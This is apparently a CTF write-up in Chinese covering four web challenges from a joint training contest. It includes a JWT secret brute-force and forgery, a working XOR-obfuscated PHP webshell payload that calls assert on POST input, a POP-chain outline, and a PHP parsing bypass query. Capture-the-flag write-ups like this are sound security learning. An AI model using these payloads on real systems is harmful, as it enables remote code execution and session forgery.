三校联合训练赛web wp
web
BuyBuyBuy
打开题目 发现是买flag的题目 题目还给了源码,这不是送分吗(狗头)
一共两处地方,/login和/buyflag 而且通过查看源码和题目的cookie,发现是一道jwt类型的题目
然后就去了解了一下,jwt是什么,然后就知道是通过修改cookie来获得flag的。
jwt解密网站https://jwt.io/
访问/login然后输入get传个usrname的参数,就可以拿到cookie值,然后拿去jwt解密网站去解密
secret不知道 大概去找了找,没找到,就直接利用工具去破解拿到secret了。
利用jwt爆破攻击爆破
下载地址https://github.com/brendan-rius/c-jwt-cracker
具体安装方法文档中有。
使用方法 ./jwtcrack jwt
然后拿到secret,就去jwt解密网站去修改money和secret
然后就去访问/buyflag去买flag。
然后就拿到flag了。
EasyRCE
一道无数字字母的rce (大写字母其实可以不加)(狗头)
直接上网找就行了,网上有payload
payload
1 | $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]); |
拿到flag.
EzPOP
一道php的反序列化pop链的构造,
1 | 思路是这样的通过__destruct() -> __toString() ->__get() -> __invoke() |
就是这样的一条链子,他的难点在与怎么传参的问题。
这个问题也困扰了我好久
然后经过漫长长长的尝试,然后就尝试成功了,我们可以构造一个新的函数来进行传参。
payload
1 |
|
然后拿生成的链子去打就能拿到flag了。
HappyNewYear
一道简单的关于php特性的题目
绕过第一层判断可以利用数字加字母的形式就行了,字母必须得加在数字的后面,不然会被判断为0;
第二层判断可以在本地来进行判断,因为可能传的payload错了,但不知道是哪边没过 这里可以利用%0a
进行绕过。
payload
1 | ?year=2023a&key=happyNewYear%0a |
剩下的java反序列化 和一道长长的反序列化题,目前水平不够,解不了了。。。。